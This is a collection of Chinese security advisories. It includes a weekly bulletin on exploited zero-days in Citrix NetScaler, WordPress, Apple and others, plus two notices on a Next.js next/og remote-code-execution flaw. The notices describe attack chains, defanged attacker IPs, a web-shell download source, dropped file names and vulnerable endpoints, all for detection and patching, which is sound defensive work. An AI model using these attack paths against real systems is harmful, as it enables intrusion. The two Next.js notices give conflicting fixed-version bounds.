|
||||
|
||||
48 小时极限剧本本周再度上演：Citrix NetScaler 双零日在确认全球在野利用后于 9 月 27 日紧急公告并进入 KEV，联邦修复截止就是今天（9 月 30 日）——全球 5 万余台暴露设备正被以 root 权限植入隐藏 Web Shell；Apple 同步修复 CoreGraphics 零日（9 月 29 日进 KEV），官方措辞"针对特定个人的极端复杂攻击"；WordPress 核心模板解析漏洞 CVE-2026-87902 在 9 月 22 日补丁发布的当天 11:49 就迎来首次利用，pearcmd.php 被当作 Web Shell 投放器。建议优先排查：公网 NetScaler ADC/Gateway、WordPress 站点主题目录与 /tmp 目录、未升级的 iPhone/Mac 设备。
|
||||
## 漏洞详情
|
||||
|
||||
严重
|
||||
CVE-2026-88771 / 88772
|
||||
CVSS 9.5（官方 v4.0）
|
||||
### Citrix NetScaler 双零日在野利用：预认证直接打 root，5 万台暴露设备危在旦夕（CVSS 9.5×2·CISA KEV 9/27·联邦截止 9/30·零日在野利用）
|
||||
|
||||
Citrix NetScaler ADC 与 NetScaler Gateway 存在两个已被在野利用的零日漏洞：CVE-2026-88771（输入校验不当，CWE-20）允许未经认证的攻击者在**默认配置**
|
||||
下远程执行任意命令，无需启用任何附加功能；CVE-2026-88772（内存溢出，CWE-119）可导致 RCE 或拒绝服务，利用前提是启用 DTLS——而 NetScaler 的 VPN 虚拟服务器默认就开着 DTLS。Citrix 官方评分均为 CVSS v4.0 9.5（不同数据库 v3.1 口径在 8.1~9.8 之间有差异）。时间线堪称极限：9 月 24 日 GreyNoise 蜜罐捕获首次利用（源 IP 149.104.78[.]141），9 月 26 日大批管理员接到 IT 供应商/CERT"立即关机"的电话、watchTowr 确认传闻可信，9 月 27 日 Citrix 发布 CTX697096 通告（共修 8 个漏洞）、CISA 同日收入 KEV 并给出 3 天截止。
|
||||
|
||||
watchTowr 技术分析显示 CVE-2026-88771 的根源在处理崩溃/错误信息的 Perl 脚本 ns_monuploadd_err.pl：攻击者仅需向预认证端点 /nf/auth/doAuthentication.do 发送特制 POST，注入的命令最终以 **root 权限**
|
||||
执行。GreyNoise 观测到的攻击手法相当老练：给 /bin/sh 设置 SUID/SGID 拿 root shell、安装通过 Cookie 值通信的密码保护 Web Shell、把隐藏文件 .ctxs.receiver 配置为无 .php 后缀的 PHP 文件、用伪装成 CSS 请求的路由别名藏匿访问入口。Unit 42 统计截至 9 月 27 日全球有 **50,277 台**
|
||||
NetScaler 暴露在公网。注意：8 月为修复 CVE-2026-19490 升级到 14.1-73.32 / 13.1-63.21 的设备**仍在受影响范围内**
|
||||
，必须再次升级。
|
||||
|
||||
影响范围
|
||||
|
||||
NetScaler ADC 与 NetScaler Gateway 14.1（< 14.1-73.37）、13.1（< 13.1-64.23）、ADC 14.1-FIPS（< 14.1-73.37 FIPS）、ADC 13.1-FIPS/NDcPP（< 13.1-37.279）；Secure Private Access Hybrid 部署中使用的 NetScaler 实例同样受影响；已停止支持的 12.1/13.0 版本无补丁
|
||||
|
||||
**修复建议：**
|
||||
升级至 14.1-73.37+ / 13.1-64.23+（13.1 升级前先跑 show ns variable，有已配置变量则用 13.1-64.24 规避循环重启问题）/ 对应 FIPS 版本；同批修复的 CVE-2026-88778（TCP ISN 可预测）需检查 Enhanced ISN Generation 是否已启用。补丁会破坏取证现场——CISA 要求先做取证排查：留存内存转储与至少一个月日志、生成技术支持包，重点核对 GreyNoise 观测的 .ctxs.receiver 文件与 Cookie 型 Web Shell 痕迹；确认失陷的设备应隔离、重建固件并轮换全部凭据与证书。
|
||||
|
||||
严重
|
||||
CVE-2026-87902
|
||||
CVSS 8.1（NVD 口径）
|
||||
### WordPress 核心模板解析漏洞：补丁发布当天即遭利用，pearcmd.php 变身 Web Shell 投放器（CISA KEV 9/25·影响回溯至 4.7.0·免认证在野利用）
|
||||
|
||||
WordPress 核心存在远程文件包含漏洞 CVE-2026-87902（NVD CVSS 3.1 8.1，CWE-98；KEV 表内计 8.6，部分媒体引 9.2，本文取 NVD 口径）：未经认证的攻击者可让 get_page_template() 函数把页面模板解析到主题目录之外的任意可读 .php 文件并将其 include——本地包含 PHP 文件即等于代码执行。该漏洞影响回溯到 **4.7.0（约十年）**
|
||||
，利用需满足两个前提：当前主题存在以 page- 开头的顶级目录（Neve、Hestia、Sydney 及旧版 Twenty Twelve/Twenty Fourteen 等常见主题均命中），且服务器上存在 Web 进程可读的 .php 文件——攻击者选中的是 PHP 默认安装自带的 /usr/local/lib/php/pearcmd.php。
|
||||
|
||||
实战利用在 9 月 22 日补丁发布当天 11:49（UTC）即开始：攻击链为 include pearcmd.php → 借其向 /tmp 与 /var/tmp 写入 PHP 文件 → 再次 include 触发执行，最终从 raw.githubusercontent[.]com/MrG3P5/web-shell 拉取 Web Shell 上传器。Previdian 蜜罐 9 月 23 日起记录到 68 次利用尝试（源 IP 含 104.194.9[.]227、43.250.53[.x]），落地文件名包括 wp-pear-rce-flag.php、poc87902.php、luci_.php、zeta_.php。CISA 于 9 月 25 日收入 KEV（联邦截止 9 月 28 日）。关闭自动更新的站点——往往恰是受变更管控的业务关键站点——是当前主要暴露面。
|
||||
|
||||
影响范围
|
||||
|
||||
WordPress Core < 7.1.2（4.7.0 起全部受影响版本）；修复版 7.1.2（9 月 22 日发布）及向旧主干回移的 7.0.6 / 6.9.9 / 6.8.10；利用前提：主题含 page-* 顶级目录 + 服务器存在可读 pearcmd.php 等可利用 .php
|
||||
|
||||
**修复建议：**
|
||||
全部公网站点立即升级 7.1.2（或对应旧主干回移版）；盘点主题目录中以 page- 开头的顶级目录并优先处理；在 /tmp、/var/tmp 与上传目录中排查上述 IoC 文件名；日志中检索对 pearcmd.php 的异常包含请求；托管环境允许的话将 register_argc_argv 设为 Off 并禁用无用 PEAR 组件；确认失陷的站点按完整流程重建并轮换数据库与管理员凭据。
|
||||
|
||||
高危
|
||||
CVE-2026-86950
|
||||
CVSS 8.8
|
||||
### Apple CoreGraphics 零日在野利用："针对特定个人的极端复杂攻击"，iPhone/Mac 全线急修（CVSS 8.8·CISA KEV 9/29·定向间谍攻击）
|
||||
|
||||
Apple CoreGraphics 图形渲染组件存在越界写入漏洞 CVE-2026-86950（NVD CVSS 3.1 8.8，CWE-787），由 Meta 产品安全团队报告：处理恶意构造的文件时内存边界被突破，可导致任意代码执行。Apple 官方通告罕见使用了重话——"已获报告称该漏洞在针对特定个人的极端复杂攻击中被利用（iOS 27 之前的版本）"，这是 Apple 通常留给国家级间谍软件的措辞；今年 2 月的 CVE-2026-20700 之后，这是 Apple 今年修复的第二个在野零日。CISA 于 9 月 29 日将其收入 KEV，联邦修复截止 10 月 2 日。
|
||||
|
||||
CoreGraphics 是 iOS/iPadOS/macOS 共用的底层 2D 渲染框架，负责图像、PDF 与文字绘制的解析——一封邮件附件、一条消息里的图片、网页中的图形都可能在后台触发解析，恶意文件"看一眼"即中招。攻击目标据报为外交官、记者、异见人士等高价值人群，属于高度定向攻击而非大规模传播，但 iPhone 11 及之后的全线设备都在修复范围内。9 月 28 日发布的系统更新已覆盖所有支持分支，无需等待。
|
||||
|
||||
影响范围
|
||||
|
||||
iOS / iPadOS < 26.7.1（iPhone 11 及之后、多代 iPad Pro/Air/mini/标准版）；macOS Tahoe < 26.7.1、macOS Sequoia < 15.8.1；watchOS < 27.0.1、visionOS 27 < 27.0.1
|
||||
|
||||
**修复建议：**
|
||||
所有 Apple 设备立即检查系统更新并安装 iOS/iPadOS 26.7.1、macOS Tahoe 26.7.1 或 Sequoia 15.8.1、watchOS/visionOS 27.0.1；企业 MDM 管理的设备群核对修复版本覆盖情况，优先处理经常处理不可信文件的高风险岗位；高价值个人（涉外、媒体、法务等）建议开启自动更新并避免打开来源不明的文件。
|
||||
|
||||
高危
|
||||
CVE-2026-100819
|
||||
CVSS 9.6
|
||||
### Firefox XPCOM 沙箱逃逸：边界条件出错，浏览器沙箱防线被打穿（CVSS 9.6·Mozilla CNA 确认·暂无在野利用报告）
|
||||
|
||||
Mozilla Firefox 的 XPCOM 组件存在因边界条件错误导致的沙箱逃逸漏洞 CVE-2026-100819（CWE-119；Mozilla 官方未给分，第三方漏洞库按 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H 计 9.6，本文如实标注口径），已随 Firefox 157 与多个 ESR 分支的月度安全更新修复（MFSA2026-97 ~ 100）。沙箱逃逸单独利用价值有限——攻击者通常先用渲染进程漏洞执行代码、再借沙箱逃逸拿到宿主系统权限完成整条攻击链，因此 Firefox 用户应同时确认浏览器已升至最新版、不留任何已修复的渲染类漏洞存量。
|
||||
|
||||
需要说明的是：该漏洞暂无在野利用报告、未进入 CISA KEV，Mozilla 通告中也未标注"已被利用"字样。但 Firefox ESR 115 与 140 两个长支持分支同时受影响，且大量企业环境的 Firefox 更新由策略接管、长期滞后——沙箱逃逸类漏洞一旦与存量渲染漏洞组合，浏览器就会从"沙箱里的访客"变成"系统里的住客"。修复只需一次升级。
|
||||
|
||||
影响范围
|
||||
|
||||
Firefox < 157、Firefox ESR < 153.4、Firefox ESR < 140.17、Firefox ESR < 115.42（全部平台）
|
||||
|
||||
**修复建议：**
|
||||
升级 Firefox 157+ 或对应 ESR 153.4 / 140.17 / 115.42；企业环境检查策略是否锁死了浏览器自动更新，核对版本号后统一推送；对于必须停留在旧 ESR 分支的桌面，至少确保该分支已含 9 月修复。
|
||||
|
||||
严重
|
||||
CVE-2026-102793 / 102794
|
||||
CVSS 9.1×2
|
||||
### 自如 ZHOME 智能设备双命令注入：PoC 已公开，厂商联系后未回应（CVSS 9.1×2·NVD 9/30 收录·PoC 公开）
|
||||
|
||||
自如旗下 ZHOME 智能设备（型号 A0101，固件 1.0.1.0）被 NVD 于 9 月 30 日同批收录两条命令注入漏洞，评分均为 CVSS 9.1：CVE-2026-102794 出现在 /api/ZRnetwork/ping 接口的 url 参数，CVE-2026-102793 出现在 /api/ZRFirmware/set_time_zone 接口的 hostname/zonename 参数——两处均未对用户输入做任何过滤，远程攻击者注入的命令直接在设备上执行。NVD 描述明确指出**漏洞细节与 PoC 已公开，可被任何人使用**
|
||||
，且"厂商在披露前已被提前联系但未做任何回应"——目前没有可用补丁。
|
||||
|
||||
智能门锁/智能家居网关类设备长期在线、固件升级机制薄弱，命令注入一旦被批量武器化，影响的不只是设备本身：与设备同网段的摄像头、NAS、家庭内网都将成为跳板的目标。在国内智能家居保有量巨大的背景下，这类"厂商沉默 + PoC 满天飞"的组合是最值得警惕的暴露面，建议用户先行通过网络隔离降低风险。
|
||||
|
||||
影响范围
|
||||
|
||||
Ziroom ZHOME A0101 固件 1.0.1.0（/api/ZRnetwork/ping 与 /api/ZRFirmware/set_time_zone 接口）；厂商尚未发布修复固件
|
||||
|
||||
**修复建议：**
|
||||
暂无官方补丁的情况下，将相关设备从公网/不可信网段隔离，仅允许可信管理网络访问其 API；关注厂商后续固件通告，升级一到即打；已部署此类设备的场所排查设备异常重启、未知进程与外联流量；采购侧暂缓新增同型号设备，直到厂商给出响应。
|
||||
|
||||
高危
|
||||
无CVE编号
|
||||
厂商定级 Critical
|
||||
### Kiteworks 无编号零日惊魂：联邦情报预警，全球客户停机 9 小时，停机期间真挖出一个关键漏洞（MFT 文件传输平台·厂商预防性处置）
|
||||
|
||||
本周最特别的"漏洞"没有 CVE 编号：9 月 25 日，安全文件传输平台 Kiteworks（前身 Accellion，2021 年曾遭 Clop 团伙零日入侵、数百家机构数据被窃）基于来自联邦情报当局的"可信威胁情报"向全球客户发出预警，要求在 9 月 26 日的 9 小时窗口内主动下线全部系统（含自建/托管于 AWS、Azure 的部署）以防范疑似零日攻击。停机期间，Kiteworks 真的在 Advanced Forms 组件（仅约 50 家、不足 1% 客户使用）中发现一个此前未知的关键漏洞，并在窗口内完成修复；持续监控未发现任何被利用迹象，9 月 27 日解除预警恢复服务。官方确认所有已知漏洞已在 9.5.1 版本修复。
|
||||
|
||||
事件本身零失陷，但信号意义极强：MFT（托管文件传输）平台单点沦陷即可批量收割数千家机构的数据，是 Clop 等团伙十年来的最爱（Accellion、GoAnywhere、MOVEit 三波战役累计超 2100 家机构中招）；而"无 CVE 的零日"对所有基于特征匹配的自动化防御完全不可见。研究者统计至少上千套 Kiteworks 系统暴露在公网——你的资产清单里是否还有它的名字？
|
||||
|
||||
影响范围
|
||||
|
||||
Kiteworks Private Content Network 全部部署形态（自建/AWS/Azure，含不暴露公网的实例）——Advanced Forms 组件关键漏洞已在 9.5.1 修复，约 50 家客户受该组件影响；其他子公司产品（ownCloud、DRACOON 等）不受影响
|
||||
|
||||
**修复建议：**
|
||||
全部 Kiteworks 实例升级至 9.5.1+；排查环境中是否启用 Advanced Forms 并评估其必要性；即便厂商通报"无失陷迹象"，仍建议自查停机前后的访问日志与 Web Shell 痕迹；把 MFT/文件传输平台列入重点资产清单定期巡检——这类平台的历史规律是：出事就是大批量。
|
||||
|
||||
## 紧急提醒
|
||||
|
||||
本期最高优先级是 Citrix NetScaler 双零日（CVE-2026-88771/88772）：从 9 月 24 日首次捕获攻击、26 日各国 CERT 打电话劝关机、27 日公告并进 KEV，到 30 日联邦截止——整个响应窗口只有 6 天，而全球 5 万余台暴露设备里，攻击者已经在用 root 权限部署隐藏 Web Shell。**特别注意：先取证、后打补丁**
|
||||
——CISA 与荷兰 NCSC 均警告升级会破坏内存与日志证据，直接升级可能亲手抹掉失陷痕迹；正确的顺序是留存内存转储与日志 → 排查 IoC → 升级 → 重建/轮换凭据。另外追踪上期 PeopleSoft 事件：ShinyHunters 本周声称还通过另一个未披露的 PeopleSoft 零日入侵了 FBIJobs.gov 并窃取 2~3 TB 数据（官方未证实）——存量未打补丁的边界设备与企业级 Web 应用仍是接下来数周的主战场。建议排查顺序：公网 NetScaler → WordPress 站点（87902）→ iPhone/Mac 设备群 → Firefox 浏览器 → 自如 ZHOME 等智能家居设备 → Kiteworks/MFT 平台。
|
||||
## 处置建议
|
||||
|
||||
①
|
||||
NetScaler 管理员立即盘点全部 ADC/Gateway 与 Secure Private Access Hybrid 实例；补丁前先取证：记录系统时间与 NTP 配置、留存本地/集中日志、生成 VPX 快照与技术支持包、按厂商指引采集内存转储；排查 .ctxs.receiver 隐藏文件、Cookie 型 Web Shell 与对外连接 149.104.78[.]141 等痕迹，然后升级至 14.1-73.37+ / 13.1-64.23+（13.1 有配置变量用 64.24）/ 对应 FIPS 版本，检查 Enhanced ISN Generation；EOL 的 12.1/13.0 直接迁移受支持版本；确认失陷的设备隔离重建并轮换全部凭据与证书
|
||||
|
||||
②
|
||||
WordPress 站长将全部公网站点升至 7.1.2（旧主干用 7.0.6 / 6.9.9 / 6.8.10）；盘点主题中 page-* 开头的顶级目录；在 /tmp、/var/tmp、上传目录排查 wp-pear-rce-flag.php、poc87902.php、luci_.php、zeta_.php 等文件；日志检索 pearcmd.php 异常包含与源 IP 104.194.9[.]227 / 43.250.53[.x]；条件允许将 register_argc_argv 设为 Off
|
||||
|
||||
③
|
||||
Apple 用户今天完成系统更新：iOS/iPadOS 26.7.1、macOS Tahoe 26.7.1 或 Sequoia 15.8.1、watchOS/visionOS 27.0.1；企业 MDM 核对设备群修复版本覆盖率；高风险人群（涉外、媒体、法务）优先并开启自动更新
|
||||
|
||||
④
|
||||
Firefox 用户升级至 157+ 或 ESR 153.4 / 140.17 / 115.42；企业桌面检查浏览器更新是否被策略锁死，统一核对版本号后推送
|
||||
|
||||
⑤
|
||||
使用自如 ZHOME 等智能家居设备的用户：将 A0101 从公网与不可信网段隔离、仅可信管理网络可达；因 PoC 已公开且厂商未回应，保持对厂商固件通告的关注，升级一到即打；同时排查设备异常重启与外联流量
|
||||
|
||||
⑥
|
||||
Kiteworks/MFT 负责人将平台升级至 9.5.1+，排查 Advanced Forms 启用情况并自查停机前后的访问日志；把全部文件传输平台（Kiteworks、MOVEit、GoAnywhere 类）列入重点资产清单定期巡检——最后自检一遍：所有"确认在野利用但还没打补丁"的条目，本周内逐个销账
|
||||
|
||||
觉得有用？点击右下角**在看**
|
||||
，让更多人看到
|
||||
|
||||
@@ -0,0 +1,158 @@
|
||||
# 【已复现】Next.js next/og 未授权远程代码执行漏洞（CVE-2026-94545）
|
||||
原创 360漏洞研究院
|
||||
360漏洞研究院 360漏洞研究院 2026-09-30 03:45
|
||||
|
||||
Next.js next/og ImageResponse 存在严重远程代码执行漏洞（CVE-2026-94545，CVSS 9.5）。攻击者无需预先获得 Next.js 应用账户权限，但目标必须使用受影响版本的 Next.js，并采用 next/og 的 Node.js ImageResponse 实现，同时将攻击者可控数据传入 SVG 内容、属性或样式。在满足相关运行环境与依赖条件时，漏洞可能进一步导致服务器进程上下文中的远程代码执行。
|
||||
|
||||
|
||||
**利用前置条件：**
|
||||
- 使用 next/og 的 Node.js ImageResponse
|
||||
|
||||
- 应用将请求参数、请求体或其他攻击者可控数据传入 SVG 内容、属性或样式
|
||||
|
||||
**目前360图龙锋 · 漏洞挖掘智能体已成功复现该漏洞。**
|
||||
本文包含完整影响范围、正式修复方案、技术原理与复现细节。
|
||||
|
||||
|
||||
<table><tbody><tr style="box-sizing: border-box;"><td colspan="4" data-colwidth="100.0000%" width="100.0000%" style="border-width: 1px;border-color: rgb(100, 130, 228);border-style: solid;background-color: rgb(100, 130, 228);box-sizing: border-box;padding: 0px;"><section style="text-align: center;color: rgb(255, 255, 255);box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">漏洞概述</span></strong></p></section></td></tr><tr style="box-sizing: border-box;"><td data-colwidth="24.0000%" width="24.0000%" style="border-width: 1px;border-color: rgb(100, 130, 228);border-style: solid;box-sizing: border-box;padding: 0px;"><section style="font-size: 12px;color: rgb(0, 0, 0);padding: 0px 8px;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">漏洞名称</span></strong></p></section></td><td colspan="3" data-colwidth="76.0000%" width="76.0000%" style="border-width: 1px;border-color: rgb(100, 130, 228);border-style: solid;box-sizing: border-box;padding: 0px;"><section style="font-size: 12px;padding: 0px 8px;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">Next.js next/og ImageResponse 远程代码执行漏洞</span></p></section></td></tr><tr style="box-sizing: border-box;"><td data-colwidth="24.0000%" width="24.0000%" style="border-width: 1px;border-color: rgb(100, 130, 228);border-style: solid;box-sizing: border-box;padding: 0px;"><section style="font-size: 12px;color: rgb(0, 0, 0);padding: 0px 8px;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">漏洞编号</span></strong></p></section></td><td colspan="3" data-colwidth="76.0000%" width="76.0000%" style="border-width: 1px;border-color: rgb(100, 130, 228);border-style: solid;box-sizing: border-box;padding: 0px;"><section style="font-size: 12px;padding: 0px 8px;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">CVE-2026-94545</span></p></section></td></tr><tr style="box-sizing: border-box;"><td data-colwidth="24.0000%" width="24.0000%" style="border-width: 1px;border-color: rgb(100, 130, 228);border-style: solid;box-sizing: border-box;padding: 0px;"><section style="font-size: 12px;color: rgb(0, 0, 0);padding: 0px 8px;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">公开时间</span></strong></p></section></td><td data-colwidth="28.0000%" width="28.0000%" style="border-width: 1px;border-color: rgb(100, 130, 228);border-style: solid;box-sizing: border-box;padding: 0px;"><section style="font-size: 12px;padding: 0px 8px;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">2026-09-23</span></p></section></td><td data-colwidth="28.0000%" width="28.0000%" style="border-width: 1px;border-color: rgb(100, 130, 228);border-style: solid;box-sizing: border-box;padding: 0px;"><section style="font-size: 12px;padding: 0px 8px;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span style="color: rgb(0, 0, 0);box-sizing: border-box;"><span leaf="">POC状态</span></span></strong></p></section></td><td data-colwidth="20.0000%" width="20.0000%" style="border-width: 1px;border-color: rgb(100, 130, 228);border-style: solid;box-sizing: border-box;padding: 0px;"><section style="font-size: 12px;padding: 0px 8px;color: rgb(100, 130, 228);box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">已公开</span></strong></p></section></td></tr><tr style="box-sizing: border-box;"><td data-colwidth="24.0000%" width="24.0000%" style="border-width: 1px;border-color: rgb(100, 130, 228);border-style: solid;box-sizing: border-box;padding: 0px;"><section style="font-size: 12px;color: rgb(0, 0, 0);padding: 0px 8px;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">漏洞类型</span></strong></p></section></td><td data-colwidth="28.0000%" width="28.0000%" style="border-width: 1px;border-color: rgb(100, 130, 228);border-style: solid;box-sizing: border-box;padding: 0px;"><section style="font-size: 12px;padding: 0px 8px;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">远程代码执行</span></p></section></td><td data-colwidth="28.0000%" width="28.0000%" style="border-width: 1px;border-color: rgb(100, 130, 228);border-styLine truncated
|
||||
|
||||
|
||||
**01**
|
||||
|
||||
**漏洞影响范围**
|
||||
|
||||
|
||||
|
||||
16.2.0 <= Next.js < 16.3.6
|
||||
|
||||
|
||||
官方确认的必要应用条件：
|
||||
- 使用 next/og 的 Node.js ImageResponse
|
||||
|
||||
- 将攻击者可控值传入生成 SVG 的内容、属性或样式
|
||||
|
||||
官方明确不受该漏洞影响的场景：
|
||||
- 使用 Edge ImageResponse 实现
|
||||
|
||||
- 未将攻击者可控数据传入 SVG 内容、属性或样式
|
||||
|
||||
上游组件 Satori 的受影响范围：
|
||||
|
||||
0.0.27 <= Satori < 0.33.5
|
||||
|
||||
Satori 的实际影响取决于生成 SVG 的后续处理方式，其受影响版本范围不能直接等同于 Next.js RCE 的可利用范围。
|
||||
|
||||
|
||||
**02**
|
||||
|
||||
**修复建议**
|
||||
|
||||
|
||||
|
||||
**正式防护方案**
|
||||
|
||||
受影响用户应尽快将 Next.js 升级至 16.3.6 或更高版本。若项目直接依赖 Satori，应同时确认 Satori 已升级至 0.33.5 或更高版本。
|
||||
|
||||
|
||||
**03**
|
||||
|
||||
**漏洞描述**
|
||||
|
||||
|
||||
|
||||
近日，Vercel 公开了 Next.js next/og ImageResponse 中存在的远程代码执行漏洞（CVE-2026-94545）。该问题与上游 Satori 的 SVG 序列化处理有关，部分外部可控数据在写入 SVG 时转义处理不足，可能被解析为额外的 SVG 标记，而非普通文本。
|
||||
|
||||
|
||||
在 Next.js Node.js ImageResponse 场景中，若应用将请求参数、请求体或其他外部可控值传入 SVG 内容、属性或样式，恶意输入可进入后续图像生成流程。公开研究显示，在特定 sharp、Node.js 及原生图像解析组件环境下，构造的 SVG 可进一步触发内存破坏并实现服务器进程上下文中的代码执行。
|
||||
需要注意，当前公开 PoC 对运行环境和原生依赖版本存在适配要求，其复现结果不能直接外推至所有官方受影响版本环境。
|
||||
|
||||
|
||||
**04**
|
||||
|
||||
**漏洞复现**
|
||||
|
||||
|
||||
|
||||
360漏洞研究院依托图龙锋漏洞挖掘智能体已成功复现 CVE-2026-94545 漏洞，测试环境采用 Next.js Node.js Runtime，并通过 next/og ImageResponse 将外部可控内容传入 SVG 生成流程。在匹配公开研究所需的 sharp 及原生图像处理依赖后，最终验证服务器进程上下文中的代码执行。
|
||||
|
||||
|
||||
|
||||
CVE-2026-94545
|
||||
|
||||
Next.js next/og ImageResponse 远程代码执行漏洞复现
|
||||
|
||||
|
||||
**05**
|
||||
|
||||
**产品侧支持情况**
|
||||
|
||||
|
||||
|
||||
**360安全智能体：**
|
||||
支持该漏洞攻击的智能分析**。**
|
||||
|
||||
**360测绘云 Quake**
|
||||
：默认支持该产品的指纹识别。
|
||||
|
||||
**360高级持续性威胁预警系统**
|
||||
：预计 2026年10月8日发布规则更新包，支持该漏洞利用行为的检测。
|
||||
|
||||
**360资产与漏洞检测管理系统**
|
||||
：预计 2026年10月8日发布规则更新包，支持该漏洞利用行为的检测。
|
||||
**本地安全大脑**
|
||||
：默认支持该漏洞的PoC检测。
|
||||
|
||||
|
||||
|
||||
**06**
|
||||
|
||||
**时间线**
|
||||
|
||||
|
||||
|
||||
2026年9月30日，360漏洞研究院发布本安全风险通告。
|
||||
|
||||
|
||||
**07**
|
||||
|
||||
参考链接
|
||||
|
||||
|
||||
|
||||
https://github.com/vercel/next.js/security/advisories/GHSA-vcvr-r3jv-pc5j
|
||||
|
||||
https://github.com/vercel/satori/security/advisories/GHSA-wx4j-mvgx-mqwp
|
||||
|
||||
https://github.com/EQSTLab/CVE-2026-94545
|
||||
|
||||
|
||||
08
|
||||
|
||||
更多漏洞情报
|
||||
|
||||
|
||||
|
||||
“扫描下方二维码，进入公众号粉丝交流群。更多一手网安资讯、漏洞预警、技术干货和技术交流等您参与！”
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
建议您订阅360漏洞情报服务，获取更多漏洞情报详情以及处置建议，让您的企业远离漏洞威胁。
|
||||
|
||||
|
||||
邮箱：360VRI@360.cn
|
||||
|
||||
网址：https://vi.loudongyun.360.net
|
||||
|
||||
|
||||
|
||||
“洞”悉网络威胁，守护数字安全
|
||||
|
||||
|
||||
**关于我们**
|
||||
|
||||
|
||||
360漏洞研究院，隶属于360安全能力中心。其成员常年入选谷歌、微软、华为等厂商的安全精英排行榜, 并获得谷歌、微软、苹果史上最高漏洞奖励。研究院是中国首个荣膺Pwnie Awards“史诗级成就奖”，并获得多个Pwnie Awards提名的组织。累计发现并协助修复谷歌、苹果、微软、华为、高通等全球顶级厂商CVE漏洞3000多个，收获诸多官方公开致谢。研究院也屡次受邀在BlackHat，Usenix Security，Defcon等极具影响力的工业安全峰会和顶级学术会议上分享研究成果，并多次斩获信创挑战赛、天府杯等顶级黑客大赛总冠军和单项冠军。研究院将凭借其在漏洞挖掘和安全攻防方面的强大技术实力，帮助各大企业厂商不断完善系统安全，为数字安全保驾护航，筑造数字时代的安全堡垒。
|
||||
|
||||
|
||||
@@ -0,0 +1,112 @@
|
||||
# 【已复现】漏洞通告 | Next.js next/og 未授权远程代码执行漏洞(CVE-2026-94545)
|
||||
安全实验室
|
||||
安全实验室 中成信息 2026-09-30 09:16
|
||||
|
||||
|
||||
|
||||
**1**
|
||||
|
||||
|
||||
**漏洞描述**
|
||||
|
||||
Next.js的next/og模块在处理动态Open Graph图片生成时，依赖的SVG渲染库Satori未对用户输入进行正确转义，导致攻击者可通过构造恶意SVG注入代码。当应用运行在Node.js环境且安装了Sharp组件时，注入的SVG会触发原生图像处理库的内存破坏漏洞，最终实现远程代码执行。该漏洞影响Next.js16.2.0至16.3.5版本，攻击者无需认证即可利用。
|
||||
|
||||
|
||||
|
||||
2
|
||||
|
||||
|
||||
**影响范围**
|
||||
|
||||
16.2.0 <= Next.js < 16.3.5（Node.js 运行时且安装 sharp 的场景）
|
||||
|
||||
0.0.27 <= Satori <0.33.5
|
||||
|
||||
其他受影响组件
|
||||
|
||||
Satori（next/og 依赖的 JSX SVG 渲染器）
|
||||
|
||||
|
||||
3
|
||||
|
||||
|
||||
**漏洞详情**
|
||||
<table><tbody><tr><td colspan="4" data-colwidth="143,144,143,143"><section style="text-align: center;" data-nest-level="6"><span data-pm-slice="0 0 []" data-nest-level="7"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-family: "PingFang SC", system-ui, -apple-system, BlinkMacSystemFont, "Helvetica Neue", "Hiragino Sans GB", "Microsoft YaHei UI", "Microsoft YaHei", Arial, sans-serif;font-size: 13px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 700;letter-spacing: 0.544px;orphans: 2;text-align: center;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;" data-nest-level="8">漏洞详情</span></span></section></td></tr><tr><td data-colwidth="143"><section style="text-align: center;" data-nest-level="6"><span data-pm-slice="0 0 []" data-nest-level="7"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-family: "PingFang SC", system-ui, -apple-system, BlinkMacSystemFont, "Helvetica Neue", "Hiragino Sans GB", "Microsoft YaHei UI", "Microsoft YaHei", Arial, sans-serif;font-size: 13px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 700;letter-spacing: 0.544px;orphans: 2;text-align: center;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;" data-nest-level="8">漏洞编号</span></span></section></td><td colspan="3" data-colwidth="144,143,143"><section style="text-align: center;" data-nest-level="6"><span leaf="" style="background-color: rgb(255, 255, 255);color: rgba(0, 0, 0, 0.9);font-size: 13px;font-family: "PingFang SC", system-ui, -apple-system, BlinkMacSystemFont, "Helvetica Neue", "Hiragino Sans GB", "Microsoft YaHei UI", "Microsoft YaHei", Arial, sans-serif;letter-spacing: 0.544px;font-style: normal;font-weight: 400;" data-nest-level="7">CVE-2026-94545</span></section></td></tr><tr><td data-colwidth="143"><section style="text-align: center;" data-nest-level="6"><span data-pm-slice="0 0 []" data-nest-level="7"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-family: "PingFang 